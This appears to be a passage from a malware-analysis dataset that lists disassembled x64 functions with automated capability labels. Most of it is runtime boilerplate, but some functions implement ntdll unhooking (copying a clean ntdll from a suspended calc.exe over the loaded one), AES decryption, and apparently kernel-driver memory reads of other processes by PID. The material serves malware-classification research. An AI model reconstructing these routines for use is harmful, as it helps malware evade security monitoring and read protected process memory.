joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000c9d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000c9e0]
mov dword [rax], 1
mov rax, qword [0x14000c9f0]
mov dword [rax], 1
mov rax, qword [0x14000c980]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000c9c0]
mov dword [0x14001000c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000caa0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000ca80]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000c930]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001540
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
lea rax, [rbp - 8]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
mov rax, qword [rbp - 0x10]
mov ecx, dword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0x6610
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
mov rax, qword [rbp - 0x18]
lea rdx, [rbp + 0x18]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
nop
add rsp, 0x50
pop rbp
ret
Function at 0x140001b14
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitThread]
call rax
nop

Function at 0x140001b2e
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitThread]
call rax
nop
Function at 0x140001b48
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1400100a8]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov dword [rbp - 0x20], eax
mov eax, dword [rbp - 0x20]
add eax, 1
cdqe
mov edx, 2
mov rcx, rax
call sym.calloc
mov qword [0x1400103e0], rax
mov rax, qword [0x1400103e0]
mov rcx, qword [0x1400100a8]
mov edx, dword [rbp - 0x20]
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rcx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov rax, qword [0x1400103e0]
lea rdx, [0x140010730]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call rax
mov qword [0x140010720], rax
mov eax, dword [0x140010730]
cdqe
shl eax, 3
mov dword [rbp - 4], eax
mov dword [rbp - 8], 0
jmp 0x140001c74
mov rax, qword [0x140010720]
mov edx, dword [rbp - 8]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call rax
mov dword [rbp - 0x24], eax
mov eax, dword [rbp - 0x24]
add dword [rbp - 4], eax
add dword [rbp - 8], 1
mov eax, dword [0x140010730]
cmp dword [rbp - 8], eax
jl 0x140001c11
mov eax, dword [rbp - 4]
cdqe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [0x140010728], rax
mov eax, dword [rbp - 4]
mov edx, dword [0x140010730]
movsxd rdx, edx
shl edx, 3
sub eax, edx
mov dword [rbp - 0xc], eax
mov rax, qword [0x140010728]
mov edx, dword [0x140010730]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x1c], 0
jmp 0x140001d5d
mov rax, qword [0x140010720]
mov edx, dword [rbp - 0x1c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rdx, qword [rax]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rbp - 0xc]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call rax
mov dword [rbp - 0x24], eax
mov rax, qword [0x140010728]
mov edx, dword [rbp - 0x1c]
movsxd rdx, edx
shl rdx, 3
add rdx, rax
mov rax, qword [rbp - 0x18]
mov qword [rdx], rax
mov eax, dword [rbp - 0x24]
cdqe
add qword [rbp - 0x18], rax
mov eax, dword [rbp - 0x24]
sub dword [rbp - 0xc], eax
add dword [rbp - 0x1c], 1
mov eax, dword [0x140010730]
cmp dword [rbp - 0x1c], eax
jl 0x140001cd7
mov dword [0x1400100a0], 1
nop
add rsp, 0x70
pop rbp
ret
Function at 0x140001e86
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
cmp qword [rbp + 0x10], 0
jne 0x140001ea0
mov eax, 0
jmp 0x140001f06
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140001ebc
mov eax, 0
jmp 0x140001f06
mov dword [rbp - 0xc], 0x400
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
mov dword [rbp - 0x10], eax
cmp dword [rbp - 0x10], 0x400
jle 0x140001edd
mov eax, 0
jmp 0x140001f06
mov eax, dword [rbp - 0x10]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140001f02
mov eax, 0
jmp 0x140001f06
mov rax, qword [rbp - 0x18]
add rsp, 0x20
pop rbp
ret
Function at 0x140002718
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rbp
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa8], 0
lea rax, [rbp + 0x20]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, rbp
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, rbp
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.C:WindowsSystem32calc.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp]
test rax, rax
jne 0x1400027cb
mov eax, 0
jmp 0x14000289d
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp + 0xa0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x98], rax
lea rcx, [rbp - 0x20]
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0xa0]
mov r9d, 0x18
mov r8, rcx
mov rcx, rax
call sym.K32GetModuleInformation
mov eax, dword [rbp - 0x18]
mov ebx, eax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0xa8], rax
mov eax, dword [rbp - 0x18]
mov r9d, eax
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp]
mov r8, qword [rbp + 0xa8]
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov dword [rbp + 0x94], eax
cmp dword [rbp + 0x94], 0
jne 0x140002881
mov eax, 0
jmp 0x14000289d
mov rax, qword [rbp]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp + 0xa8]
add rsp, 0x138
pop rbx
pop rbp
ret
Function at 0x1400028a7
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp - 0x3a], rax
mov word [rbp - 0x32], 0x6c
lea rax, [rbp - 0x3a]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x40], 0
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x20], rax
mov dword [rbp - 4], 0
jmp 0x140002a26
mov rax, qword [rbp - 0x20]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x20]
lea rcx, [rdx + rax]
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x46], 0x7865742e
mov word [rbp - 0x42], 0x74
mov rax, qword [rbp - 0x28]
lea rdx, [rbp - 0x46]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002a22
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x10]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x40]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x2c], eax
cmp dword [rbp - 0x2c], 0
jne 0x1400029a7
mov eax, 0
jmp 0x140002a3f
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x10]
add rax, rcx
mov rcx, rax
call sym.memcpy
mov edx, dword [rbp - 0x40]
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x10]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x40]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x30], eax
cmp dword [rbp - 0x30], 0
jne 0x140002a22
mov eax, 0
jmp 0x140002a3f
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x20]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 4], eax
jl 0x14000290b
mov eax, 1
add rsp, 0x70
pop rbp
ret

Function at 0x140002fd0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140003040
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400107c4]
mov rbx, rcx
test esi, esi
jle 0x140003170
mov rax, qword [0x1400107c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000308b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140003115
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140003070
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140003192
mov rax, qword [0x1400107c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400107c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140003177
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000310e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140003120
add dword [0x1400107c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400107c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000310e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140003098
mov rax, qword [0x1400107c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003700
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140010820]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140010800]
test rbx, rbx
je 0x14000375c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003753
test rsi, rsi
je 0x140003753
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003738
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140003970
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140003988
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140003990
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400039a0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400039ed
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400039e4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400039ef
add rax, 0x28
cmp rax, r9
jne 0x1400039d0
xor eax, eax
ret

Function at 0x1400039f0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140003a80
mov rdx, qword [0x14000c980]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140003a6e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140003a6e
cmp word [rax + 0x18], 0x20b
jne 0x140003a6e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140003a80
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140003a59
add rbx, 0x28
cmp rbx, rdi
je 0x140003a80
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140003a50
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140003a90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000c980]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003ab0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003ab8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003ab0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140003b0d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003b04
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003ab0
add rax, 0x28
cmp rax, r9
jne 0x140003af0
xor eax, eax
ret

Function at 0x140003b10
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000c980]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140003b2f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003b38
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140003b2f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003b50
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000c980]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140003b70
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140003b78
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140003b70
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140003bc0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140003bb7
test rcx, rcx
je 0x140003b70
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140003ba8
xor eax, eax
ret
Function at 0x140003bd0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000c980]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003bef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003bf8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140003c10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000c980]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003c30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003c38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003c30
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140003c30
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140003c84
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140003c90
add rdx, 0x28
cmp r9, rdx
jne 0x140003c70
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140003ca0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000c980]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140003cc2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140003cd0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003cc2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140003cc2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140003cc2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140003d25
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140003d38
add rdx, 0x28
cmp rdx, r10
jne 0x140003d10
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140003d47
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140003d57
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140003d2e
test ecx, ecx
jg 0x140003d40
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001290
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x66fe0ff
mov rbx, rcx
jne 0x1400012e7
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400012e7
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400012e7
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
test rax, rax
je 0x1400012e7
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
jmp 0x1400012ec
mov eax, 0xc0000001
add rsp, 0x20
pop rbx
ret

Function at 0x1400012f4
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
cmp dword [rcx], 0x66fe0ff
mov rbx, rcx
jne 0x1400013f7
mov eax, dword [rcx + 4]
test eax, eax
je 0x1400013f7
and qword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
add eax, 0xccefd76
movsxd rcx, eax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400013f7
mov rdi, qword [rbx + 0x18]
add rdi, 0xd0ce640
cmp byte [rbx + 0x21], 0
je 0x140001369
mov rdx, qword [rbx + 8]
mov rcx, qword [0x140004050]
add rdx, 0xc094835
call fcn.140001710
jmp 0x140001392
mov rcx, qword [rcx + 0x28]
test rcx, rcx
jne 0x140001382
call fcn.140001408
mov ecx, eax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rcx + rax]
mov rdx, qword [rbx + 8]
add rdx, 0xc094835
call fcn.140001710
mov r10, rax
test rax, rax
je 0x1400013f7
mov ecx, 0x1000
mov eax, r10d
and eax, 0xfff
sub ecx, eax
cmp ecx, edi
cmovl edi, ecx
mov rcx, qword [rbx + 0x10]
and qword [rsp + 0x48], 0
add rcx, 0x147e620
cmp byte [rbx + 0x20], 0
movsxd r8, edi
je 0x1400013da
mov rdx, rcx
lea r9, [rsp + 0x48]
mov rcx, r10
call fcn.1400018f4
jmp 0x1400013f3
lea rax, [rsp + 0x48]
mov r9d, 1
mov rdx, r10
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
xor eax, eax
jmp 0x1400013fc
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140001634
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x66fe0ff
mov rbx, rcx
jne 0x140001699
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001699
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001699
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
mov rcx, rax
call fcn.140001010
mov rcx, qword [rsp + 0x30]
mov qword [0x140004050], rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rax, qword [rbx + 8]
mov qword [rax], 1
xor eax, eax
jmp 0x14000169e
mov eax, 0xc0000001
add rsp, 0x20
pop rbx
ret